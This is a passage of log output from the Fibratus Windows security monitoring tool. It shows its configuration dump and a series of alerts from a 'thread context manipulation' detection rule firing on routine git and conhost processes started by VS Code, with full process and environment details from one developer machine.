from a reflected process, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 144 + Ppid: 10968 + Name: cmd.exe + Parent name: cmd.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Users\nedo\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8228_1262719628:1 EFC_8228_1592913036:1 EFC_8228_2283032206:1 EFC_8228_2775293581:1 EFC_8228_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T21:20:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T21:20:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T21:20:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-06T16:09:50+01:00 level=info msg=bootstrapping with pid 18416. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:09:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false enable-net=>true min-buffers=>16 enable-handle=>false enable-thread=>true flush-interval=>1s enable-dns=>false enable-registry=>true max-buffers=>36 enable-mem=>false enable-image=>true stack-enrichment=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 formatter=>text max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ flush-period=>1s index-name=>fibratus trace-log=>false bulk-workers=>1 healthcheck=>true enabled=>false gzip-compression=>false sniff=>false healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false passive=>false routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false exchange=>fibratus timeout=>5s vhost=>/ url=>amqp://localhost:5672] http=>[ serializer=>json method=>POST timeout=>5s enabled=>false enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false enabled=>false skip-allocs=>false fastscan=>true skip-files=>false excluded-files=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:09:50+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:09:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:09:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:09:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 3 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3071236 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 46a7e1000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57847080, name➜ git.exe, pid➜ 2836, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3071236 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 6 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3293472 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 4570f5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5784e080, name➜ git.exe, pid➜ 4252, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3293472 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 5 + Pid: 2836 + Tid: 18388 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3293276 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 32dec3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57382080, name➜ conhost.exe, pid➜ 2276, ppid➜ 2836, real_ppid➜ 2836, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3293276 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2836 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 9 + Pid: 4252 + Tid: 2080 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3398956 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 43da71000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f476d90c0, name➜ conhost.exe, pid➜ 13112, ppid➜ 4252, real_ppid➜ 4252, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3398956 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 4252 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync 